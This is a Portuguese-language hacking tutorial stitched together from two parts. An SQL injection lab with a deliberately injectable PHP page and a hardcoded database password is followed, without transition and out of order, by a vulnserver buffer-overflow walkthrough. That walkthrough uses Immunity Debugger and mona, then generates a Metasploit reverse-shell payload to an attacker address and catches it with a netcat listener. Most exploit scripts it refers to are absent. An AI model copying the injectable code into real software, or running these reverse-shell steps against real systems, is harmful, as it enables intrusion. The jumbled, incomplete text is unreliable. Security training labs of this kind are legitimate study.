Introdução A Injeção de SQL, mais conhecida através do termo americano SQL Injection, é um tipo de ameaça de segurança que se aproveita de falhas em sistemas que interagem com bases de dados via SQL. A injeção de SQL ocorre quando o atacante consegue inserir uma série de instruções SQL dentro de uma consulta (query) através da manipulação das entradas de dados de uma aplicação. Fonte: Wikepédia
Requesitos Um Servidor Linux ou "Windows com o Xampp" O Linux com apache2 instalado e o MySQL, também com o phpMyadmin O Windows com o Xampp, Xampp já vem com tudo comfigurado Um editor de texto, como exemplo bloco de nota && notepad++ && sublime ou o netbeans, eu prefiro o netbeans.
Criando uma Pagina Primeiro, navegue ate a pasta /var/www/, abra o terminal e digite:
$ cd /var/www
Agora crie uma pasta, comando:
$ /var/www# mkdir pagetest
Listar diretorio
$ /var/www# ls -lAhdrwxr-xr-x 2 root root 4.0K Jan 19 23:26 pagetest
Em seguida alterei as permissões, comando:
$ /var/www# chmod 777 pagetest -R
Liste mais uma vez o diretorio isso não é obrigatorio
$ /var/www# ls -lAh
drwxrwxrwx 2 root root 4.0K Jan 19 23:26 pagetest
Agora Vamos criar um arquivo de configuração, para fazer a conexão como o servido mysql, para acender um bancode dados.No terminal digite: para entra dentro da pasta onde vamos trabalhar
$ /var/www# cd pagetest/
Agora digite:
$ /var/www/pagetest# nano config.php
No editor copie ou escreva essas linhas e salve o arquivo;
<?php# " localhost " endereço do banco esse ira ficar assim mesmo pois vc vai esta localmente
# " root " usuario do banco
# " dmyka1728 " senha do banco
# " dbtest " nome do banco
# Subistitua isso pelo seus dados
mysql_connect("localhost","root","dmyka1728");
mysql_select_db("dbtest");
Agora vamos criar a nossa index principal, lembrando, não irei estiliza com CSS , comando digite:
$ /var/www/pagetest# nano index.php
No editor copie ou escreva essas linhas e salve o arquivo;
<?phpinclude"config.php";#Incluir o nosso arquivo de configuração com o banco?><html>
<head>
<title>Index-Test</title></head>
<body>
Visualizar Dados <a href="index.php?id=1">Ver</a></br></br><?php
$id = $_GET['id'];
$sqlquery ="SELECT * FROM infousers WHERE id='$id'";
$execute = mysql_query($sqlquery);while ($row = mysql_fetch_array($execute)){
echo "
<b>Name:</b> $row[1]</br><b>Fone:</b>$row[2]</br><b>Data:</b> $row[3]</br><b>CPF:</b> $row[4]</br></br>";
}
?></body>
</html>
Logando no phpMyAdmin Agora iremos logar no phpmyadmin pra poder criar o banco e tabelas e inserir os dados para nossos testes. Abra o seu navegador de preferencial, navegue até o enderço http://localhost/phpmyadmin - logger com seus dados - em user do mysql e pass do mysql, como mostra a imagem abaixo:
Instalando MONA
eushuehsuehsuehs a palavra mona aqui na minha cidade é coisa de viadagem. euhsuehsuehsushue
deixando de conversa fiada: MONA é um módulo python que dá ao Immunity a capacidade de listar os módulos e assim procurar por eles. Ver mais sobre o mona aqui, Download Aqui
Baixe e estraia para onde quizer, e esse onde quizer copie o arquivo mona.py para: C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands
Agora na máquina windows, como vc ja reiciou antes o servidor e o ja execultou. Vamos listar
Listando os Módulos com Mona No Immunity, na parte inferior, há uma barra branca. Clique nesse barra e digite este comando, seguido da tecla Enter: !mona modules
Para muda o tamanho da fonte para melhor leitura kica ai em qualquer lugar com o botão direito do mouse em Appearance,
Font, "OEM Fixed Font, como mostrado abaixo.
Atente-se no gráfico na parte inferior, como mostrado abaixo.
Este gráfico mostra todos os módulos carregados como parte do servidor vulnerável, e várias propriedades importantes para cada um.
A propriedade de maior importância para nós agora é ASLR, que faz com que o endereço do módulo variar para cada vez que ele é reiniciado.
Outra propriedade que pode causar problemas é "Rebase", que se muda um módulo se outro módulo já está carregado na memória em sua localização preferencial.
Para explorar o de manira mais confiável , queremos usar um módulo sem ASLR ou Rebase.
Existem dois módulos com "False" em ambas as colunas REBASE e ASLR: e essfunc.dll do vulnserver.exe.
No entanto, observe os valores do endereço à esquerda do gráfico - vulnserver.exe é muito carregado no endereço de valores baixos, começando com 0x00, portanto, qualquer referência a endereços dentro vulnserver.exe exigirá um byte nulo, e que não vai funcionar porque '\ x00' é um mau caráter. Assim, o único módulo utilizável é essfunc.dll.
Encontrar códigos hexadecimais para instrução Útil
Agora olhando para a máquina Kali Linux
O kali contém um utilitário prático para a conversão de linguagem assembly para códigos hexadecimais.
No terminal, digite o comando: locate nasm_shell
O utilitário está localizado em um diretório do Metasploit, como mostrado abaixo.
Copie e cole o caminho completo do utilitário para executá-lo. "Aqui no meu pc demora uns 10s para iniciar o nasm"
Uma vez iniciado o nasm, digite o tipo JMPESP e pressione Enter para convertê-lo em código hexadecimal, como mostrado abaixo.
Em seguida, digite POP ESP e pressione Enter.
Em seguida, digite RET e pressione Enter.
Em seguida, digite exit e pressione Enter
O código hexadecimal para a instrução "JMP ESP" é FFE4.
O código hexadecimal para a sequência das duas instrução "POP ESP; RET" é 5CC3.
Se agente encontrar qualquer uma dessas seqüências de bytes em essfunc.dll, podemos usá-los para executar o nosso exploite reverso.
Encontrar JMP ESP com MONA
Olhando lá na máquina ruiwndows, no immunity, lá em baixo na barra branca digite esse cumando: !mona find -s "\xff\xe4" -m essfunc.dll
siliga bixo doido \xff\xe4 é = FFE4 do JMP ESP q nois localizamo lá em riba ou aqui isso é matutez
Estamos procura o módulo de essfunc.dll para os bytes FFE4.
9 locais foram encontrados com esses conteúdos, como mostrado abaixo.
E vamos usar o primeiro da fila:
0x625011af = 625011af
Reiciando o servidor no Immunity No
menu do Immunity Debugger, no canto superior, clique no botão Debug, no
menu contexto vá até restart, e em seguida na janela que aparecerá
clique em sim. Isso reiciará o servidor vulnerável dentro do depurador,
para que possamos atacar novamente. E depois rode o servidor clicando em RUN
Execução do código e Testando
Agora vamos enviar um ataque que coloca o endereço JMPESP (625011af) na EIP.
Isso vai iniciar a execução do código no local apontado do ESP .
Só para testá-lo, vamos colocar algumas instruções lá no NOP ('\ x90' = Sem Operação - eles não fazem nada) seguido de um '\ xCC' na instrução INT 3 , que irá interromper o processamento.
O NOP pode parecer sem importância, mas ela é necessário para dar espaço para descompactar o código dp Matasploit e agente vai fazer isso mais tarde. Se isso funcionar, o programa irá parar na instrução de '\ xCC'.
Agora na máquina kali linux, no terminal digite o comando: nano eip-exploit-3
Na tela do nano digite ou cole o codigo: nao esqueça de colocar seu ip do seu window
Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER.
agora vc execultar o srcipt, comando, python eip-exploit-3
Agora olhando na maquinda do windows, no canto inferior esquerdo da janela do Immunity agora diz "comandoINT 3", como mostrado abaixo.
Agora indo no painel Registers do Immunity, clique com o botão esquerdo no valor à direita
do ESP, por isso é destacado em azul, como mostrado abaixo.
Em seguida, clique com o valor realçado e clique em "Follow in Dump"
Olhando no painel inferior esquerdo mostra o NOP como uma série de 90 bytes, seguido por um byte de CC.
Isso está funcionando! Agora nos somos capazes de injetar um código e executá-lo.
Reiciando o servidor no Immunity No
menu do Immunity Debugger, no canto superior, clique no botão Debug, no
menu contexto vá até restart, e em seguida na janela que aparecerá
clique em sim. Isso reiciará o servidor vulnerável dentro do depurador,
para que possamos atacar novamente. E depois rode o servidor clicando em RUN
Preparando o exploit no paython para o nosso ataque
Agora olhando para a máquina Kali Linu, no terminal vc digita o comando: nano shell-exploit
Na tela do nano digite ou cole o codigo:
Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER.
Este script estabelece o nosso exploit, mas no momento o código do exploit está faltando. Mas vamos faz isso agora no msfconsole ;)
No teu cali linux, abre ai o terminal e digita ifconfig, pra tu ver qual é o ip da tua maquina kali, ai agora tu digita:
msfpayload windows/shell_reverse_tcp LHOST="192.168.1.160" LPORT=443 EXITFUNC=thread R | msfencode -b '\x00'
"
Só uma dica ai minha, coisa pessoal mesmo, se teu kali linux tever atualizado, pelo meno aki no meu é tá claro, eu atualizo ele toda semana, o codigo do exploit nao funciona, agora pq eu nao sei, nao quero sabe e tenho raia de quem sabe entao eu tenho um dvd gravado com o kali em versão 32bit, eu nao sei bem se é por causa do upadate, eu nao sei mesmo mais ai vc tenta, vou deixar uns descrições referente ao OS
";
A máquina que execultei o comando:
root@kali:~# uname -a
Linux kali 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali5 i686 GNU/Linux
root@kali:~#
Então o shell code funcionou nela;
E na minha maquina minha;
root@kali:~# uname -a
Linux kali 3.14-kali1-amd64 #1 SMP Debian 3.14.5-1kali1 (2014-06-07) x86_64 GNU/Linux
root@kali:~# Não funciona a shell code, blz voltando aqui pro assunto de gerar a shell code;
Na sua maquina kali linux vc vai execultar o comando, nao esqueça de trocar o ip pelo o ip do seu kali; comando
Esse comando faz o nosso exploit da conexão reversa com a maquina de destino, no caso o Windows e vai volta para o Kali Linux na porta 4444 e assim iremos obter o console do servido windows em um novo terminal no kali, ja falo nele. A magica é codificado para evitar bytes nulos. porque '\ x00' é um caráter ruim.
Esse é o resultado obtido:
Eu deixei ai bem destacado o código do exploit para vc copiar ai o seu, dai vc copia o q foi destagado, claro nao é pra copiar o meu aki desse tuti, vc sabe do q tou falndo.
Bom copiado o código, vc agora vai abrir aquele script q fiemos antes o shell-exploit e entre os parenteses ( ) vc cola o código do nosso explorador ficando assim:
Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER
Agora com o srcipt completado com o código do nosso explorador q vai nos da acerro remoto, dai no seu kali vc abre um outro terminal e execulte o comando: nc -lvp 4444 isso vai deixar seu kali no modo de exculta na porta 4444, e na outra tela vc execulta o shell-exploit, lembrando nao vai esquecer o servidor lá no windows deligado, claro obvio q ele tem q ta rodando.
agora vc execultou os comando, vc vera algo mais ou menos assim:
Terminal 1 Rodando o NC:
Terminal 2 Execultando o Script
TUDO AGORA
Terminal 1 NC --- Conexão bem estabelicida
Terminal 2 Script
Eu apertei o Ctrl + C pra finaliza mais la no NC eu continuo com o acesso remoto, onde eu vou me divertir um pouco,
Você olhando la no windows no Immunity na parte do Registers, mirando bem no ESP q vais esta destado em azul, vc clicando com o botão direito no numero e follow dump, dai vc olha pro ANCII vc pode ver algumas coisas da shell code;
Examinando a Memória do ESP
Ainda com o script e o Immunity em execulção.
Vamos ver o que foi para no local apontado por ESP.
Indo no painel Registers do Immunity, clique com o botão esquerdo no valor à direita do ESP, por isso está destacado em azul, como mostrado abaixo.
Em seguida, clique com no valor realçado do menu de contexto, e clique em "Follow in Dump"
Procure no painel inferior esquerdo do Immunity lá em HEX DUMP e olhando para o ASCII. Está cheio de caracteres 'F' que colocamos no final do texto do exploit. Isso vai ser muito importante para nois mais tarde, Nós vamos coloca o nosso código de exploração aqui. como mostra abaixo na imgem:
Reiciando o servidor no Immunity No menu do Immunity Debugger, no canto superior, clique no botão Debug, no menu contexto vá até restart, como mostrado abaixo. e em seguida na janela que aparecerá clique em sim. Isso reiciará o servidor vulnerável dentro do depurador, para que possamos atacar novamente. E depois rode o servidor clicando em RUN
O problema de maus caracteres
Este exploit depende de enganar o programa através da inserção deo código em uma estrutura de dados que não tinha a intenção de manter o código - que é outra coisa, como um nome de diretório.
Apenas a partir do senso comum, pode-se esperar que esses caracteres causa problemas:
Hex Dec Description
--- --- ---------------------------------------------
0x00 0 Byte nulo , termina uma string C
0x0A 10 Nova Linha , pode encerraruma linha de comando
0x0D 13 Procedimento de Retorno, pode encerraruma linha de comando
0x20 32 Spaço, pode encerrarum argumento de linhade comando
Nem todos esses caracteres são sempre ruim, e pode ter também outros caracteres ruins. Portanto, a próxima tarefa é tentar injetá-los e ver o que acontece.
Testando os maus caracteres
Na máquina Kali Linux, no terminal, execute o comando:
Na janelado nano , digite ou cole este código. não esqueça de trocar pelo seu IP
Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER.
Este script irá enviar um ataque de 3000 bytes para o servidor, que consiste de 2006 caracteres 'A' seguido por 'BCDE ", eles devem acabar no EIP, e em seguida, todos os possíveis 256 caracteres e, finalmente, eos caracteres ' F ' para fazer do total 3000 bytes de comprimento.
Em seguida, você precisa executável o script . Para isso, no Kali Linux, no terminal, execute o comando: python bad-char
Olhando para a máquina windows, no canto esquerdo inferior da janela do Immunity novamente diz "Violação de acesso ao executar [45444342]".
No painel direito superior da Immunity, cliquecom o botão esquerdo no valor à
direita de ESP, por isso é destacada em azul, como mostrado abaixo. Em seguida, clique no valor realçado e clique em: "Follow in Dump".
Procure no painel esquerdo inferior do Immunity. O primeiro byte é 00, mas nenhum dos outros caracteres fez isso na memória, e os outros 255 bytes ou caracteres 'F'. Isso aconteceu porque o byte 00 finalizou a string. '\ X00' e é um caractere ruim.
Reiciando o servidor no Immunity No
menu do Immunity Debugger, no canto superior, clique no botão Debug, no
menu contexto vá até restart, como mostrado abaixo. e em seguida na
janela que aparecerá clique em sim. Isso reiciará o servidor vulnerável
dentro do depurador, para que possamos atacar novamente. E depois rode o servidor clicando em RUN
Testando novamente os maus Cracteres
Na máquina Kali Linux, no terminal, execute o comando:
Na janelado nano , digite ou cole este código. não esqueça de trocar pelo seu IP
Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER.
Este script ignora o byte nulo, e inclui todas as outras 255 bytes na seqüência de ataque, antes do caractere do 'F'.
Em seguida, você precisa executável o script . Para isso, no Kali Linux, no terminal, execute o comando: python bad-char2
Olhando para a máquina windows, no painel direito superior da Immunity, clique com o botão esquerdo no valor à direita do ESP, por isso está destacada em azul. Em seguida, clique com o valor realçado e clique em "Follow in Dump".
Procure no painel inferior esquerdo do Immunity.
Todos os bytes de 01 a FF aparecem em ordem, seguido por caracteres 'F' (46 em hexadecimal). Não há outros bytes ruins, apenas '\ x00'.
Reiciando o servidor no Immunity No
menu do Immunity Debugger, no canto superior, clique no botão Debug, no
menu contexto vá até restart, como mostrado abaixo. e em seguida na
janela que aparecerá clique em sim. Isso reiciará o servidor vulnerável
dentro do depurador, para que possamos atacar novamente. E depois rode o servidor clicando em RUN
Encontrar Código Útil em Assembly
Nós temos o controle sobre o EIP, para que possamos apontar para qualquer código que desejamos.executável. O que precisamos fazer é encontrar uma maneira de executar os bytes no local de ESP.
Há duas instruções simples que irá execultar: "JMP ESP" e a sequência de duas instrução "PUSH ESP; RET".
Para encontrar essas instruções, precisamos analizar os módulos carregados quando servidor vulnerável está em execução
Criando um padrão de caracteres não-repetido
Sabemos que quatro dos caracteres 'A' acabou no EIP, mas quais?
Para descobrir isso, vamos usar um padrão de caracteres não-repetido.
Na máquina Kali Linux, em uma janela do terminal, execute o comando:
Na janela do nano copie ou cole esse código;
Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER.
Esse script em Python cria um padrão simples de sequências de quatro bytes e imprime para que você possa vê na tela.
Agora vamos execultar o Script, comando: python eip4
Como você pode ver, o padrão é simples - um número de três dígitos seguido por 'A'. Se eu adicionar espaços para maior clareza, o padrão é assim:
Há 500 grupos de quatro caracteres, de 000A a 499A, para um total de 2.000 bytes.
Enviando o Padrão não repetidos para o Servidor
Na máquina Kali Linux, no terminal, execute o comando:
Na janela do nano copie ou cole esse código: Nao esqueça de trocar pelo ip do seu servidor
Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER.
Isto irá enviar um ataque de 3000 byte para o servidor, consistindo de 1000 caracteres 'A' seguidos pelo padrão de não-repetido de 2.000 bytes.
Agora na máquina do Kali Linux pecisamos execultar o script comando:
Olhando na máquina Windows você vê, no canto inferior esquerdo da janela do Immunity agora diz "Violação de acesso ao executar [35324131]",
Também destaquei o EIP em Registers <FPU>como mostrado abaixo.
Vamos converter esse hex para charactere: Hex Character ------- ---------- 35 5 32 2 41 A 31 1 Assim, os caracteres são '52A1'. No entanto, os processadores Intel são "Little Endian", pelo que os endereços são inseridos na ordem inversa, de modo que os caracteres reais que foram colocados no EIP foram '1A25'. Esses bytes aparecem aqui: Você indo no menu do terminal no kali em Search -> Find ou Precionado Shift + Ctrl + F e digitando 1A25 vc encontrara. Esses bytes aparecem aqui:
É esta parte da entrada de cadeia (com espaços adicionado mais uma vez, para maior clareza)
000A 001A 002A 003A 004A
...
250A 251A 252A 253A 254A
...
495A 496A 497A 498A 499A O padrão '1A25' ocorre após o campos 251 de quatro bytes + mais 2 bytes, ou 251 x 4 + 2 = 1004 + 2 = 1006 bytes.
Nosso ataque usado 1000 caracteres 'A' antes do padrão de
não-repetido, por isso a EIP contém os quatro bytes após os primeiros
2.006 bytes do ataque.
Reiciando o servidor no Immunity No menu do Immunity Debugger, no canto superior, clique no botão Debug, no menu contexto vá até restart, e em seguida na janela que aparecerá clique em sim. Isso reiciará o servidor vulnerável dentro do depurador, para que possamos atacar novamente. E depois rode o servidor clicando em RUN Segmentação do EIP
Na máquina Kali Linux, no terminal, execute o comando:
Na janela do nano, digite ou cole este código abaixo . Substitua o endereço IP com o endereço IP da sua máquina.
Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER.
Este script irá enviar um ataque de 3000 bytes para o servidor, que
consiste de 2006 caracteres 'A' seguido por 'BCDE', que deve acabar no
EIP e caracteres ' F ' suficientes para fazer o total de 3000 bytes.
Em seguida, você precisa executável o script . Para isso, no Kali Linux, noterminal, execute o comando:
Olhando para o windows no canto inferior esquerdo da janela do Immunity agora diz "Violação de acesso ao executar [45444342]", Vamos converter esse hex para caractere: Hex Character ------- ---------- 45 E 44 D 43 C 42 B Assim, os caracteres são 'EDCB'. No entanto como eu já falei antes, os processadores Intel são "Little Endian", pelo que os endereços são inseridos na ordem inversa, de modo que os caracteres reais que foram colocados no EIP foram 'BCDE', como mostrado abaixo. Este é o sucesso, esses valores hexadecimais são 'BCDE' na ordem inversa.
Examinando a Memória do ESP
Ainda com os script e o Immunity em execulção.
Instalando o Immunity Debugger;
Vamos baixar e instalar o Immunity Debugger Site, Alternativo aqui . Quando o download terminar, dê um duplo clique no arquivo ImmunityDebugger_1_85_setup e instale o software com as opções padrão. Ele também irá instalar Python.
Iniciando Immunity e anexando um Processo;
Na sua desktop vá até o icone do immunity e o execulte. Essa é a janela que você verá
Agora vamos anexar um processo em execução para a immunity. Isso vai encapsular o processo dentro Immunity, Assim podemos analizar processo e controlar.
Na barra do menu Immunity Debugger, clique em File, Attach.
Em "Select process to attach" na caixa selecione o vulnserver como mostra abaixo e clique em Attach
Modificando a aparência do Immunit;
Vamos modificar a aparência dos painéis no Immunity que estão com os textos muito pequeno, como mostrado abaixo.
Isso é muita informação para perceber imediatamente, e muito difícil de ler.
Para tornar o texto mais legível, clique com o botão direito do mouse em algum lugar no top painel, No menu de contexto, clique em Appearance, "Font (all)", "OEMfixed font", como mostrado abaixo. O tipo de letra se torna mais clara.
No painel esquerdo inferior, clique com o botão direito do mouse e clique em: Hex ", Hex/ASCII(16 bytes)", como mostrado abaixo.
Compreendendo as janelas do Immunity;
Está é a "CPU Windows" do Immunity,
ASSEMBLY CODE ( Esta é a parte mais difícil de se compreender. Ela mostra as instruções do processador, um de cada vez na "Linguagem Assembly", instruções como MOV e CMP. A linguagem assembly é difícil de aprender, mas você não precisa aprender muito para desenvolver exploits simples. )
REGISTERS ( Os itens mais importantes aqui são: ) ++ Clica aqui EIP: Ponteiro de instrução (contador de programa) - É o endereço da próxima instrução a ser processado. ESP: Ponteiro de pilha - É o topo da pilha EBP: Ponteiro base da pilha - É a parte inferior do ponteiro de pilha
HEX DUMP ( Isso mostra uma região da memória em hexadecimal à esquerda e à direita em ASCII. simples de desenvolvimento o exploit , vamos usar esse painel para olhar para regiões de memória alvo, geralmente rotulados com texto ASCII. )
STACK ( Isso mostra o conteúdo da pilha, mas ele é apresentado de uma forma que não é muito útil para nós agora. Para este projeto, desconsidere este painel. )
CURRENT INSTRUCTION (Mostra exatamente a instrução do processo que está em execução no momento. O Immunity foi atribuído automaticamente em um ponto de interrupção do início do processo e agora a sua execução foi interrompida. )
STATUS ( Mostra se o programa está em pausa ou em execução. Quando Immunity atribui um processo, o processo inicia-se no estado pausado.
Executando o servidor vulnerável no Immunity;
No menu do Immunity Debugger, no canto superior esquerdo, clique no botão Run, como mostrado abaixo. Isso executa o servidor vulnerável dentro do depurador, para que possamos trabalhar
Observando o servidor no Immunity;
Na máquina Kali vamos execultar o script fuzz e inserir em:
"Tamanho do Ataque" 2000 bytes. o servidor não responde pois ele está falhando.
Agora olhando para o windows no Immunity, no canto inferior esquerdo, você verá "Violação de acesso para [41414141], como mostrado abaixo.
"41" é o código em hexadecimal para o caractere "A", como mostrado abaixo.
Isto significa que os caracteres 'A' você foram enviados e de alguma forma mal interpretada pelo servidor como um endereço para gravar dados. Os endereços são 32 bits de comprimento, que é de 4 bytes, e 'A' é de 41 em hexadecimal, por isso, tornou-se o endereço 41414141.
Reiciando o servidor no Immunity
No menu do Immunity Debugger, no canto superior, clique no
botão Debug, no menu contexto vá até restart, como mostrado abaixo. e em seguida na janela que aparecerá clique em SIM. Isso reiciará o servidor vulnerável
dentro do depurador, para que possamos atacar novamente. E depois rode o servidor clicando em RUN
Enviando 3000 caracteres 'A'
Na máquina Kali vamos execultar o script fuzz mais uma vez e inserir em:
"Tamanho do Ataque" 3000 bytes. o servidor não responde pois ele está falhando.
Olhando para o windows na janela do Immunity, no canto inferior esquerdo, você verá "Violação de acesso ao executar [41414141], Também destaquei uns intens em Registers <FPU> como mostrado abaixo.
Este é o clássico de explorar o buffer overflow , Os caracteres injectados são colocados em EIP quando uma sub-rotina retorna, portanto, tornam-se o endereço da próxima instrução a ser executada.
41414141 não é um endereço válido, portanto Immunity detecta que o programa está falhando e faz uma pausa para que você possa ver o que está acontecendo. Isso é comum em desenvolvimento do exploit - O comprimento do ataque tem resultados diferentes do ataque de 2000 bytes como fizemos antes.
A partir de agora, vamos usar um comprimento de 3000 para todos os ataques.
Reinicie o servidor vulnerável novamente
"como você fez antes lá em cima"
No menu do Immunity Debugger, no canto superior, clique no
botão Debug, no menu contexto vá até restart, e em
seguida na janela que aparecerá clique em sim. Isso reiciará o servidor
vulnerável
dentro do depurador, para que possamos atacar novamente. E depois rode o servidor clicando em RUN
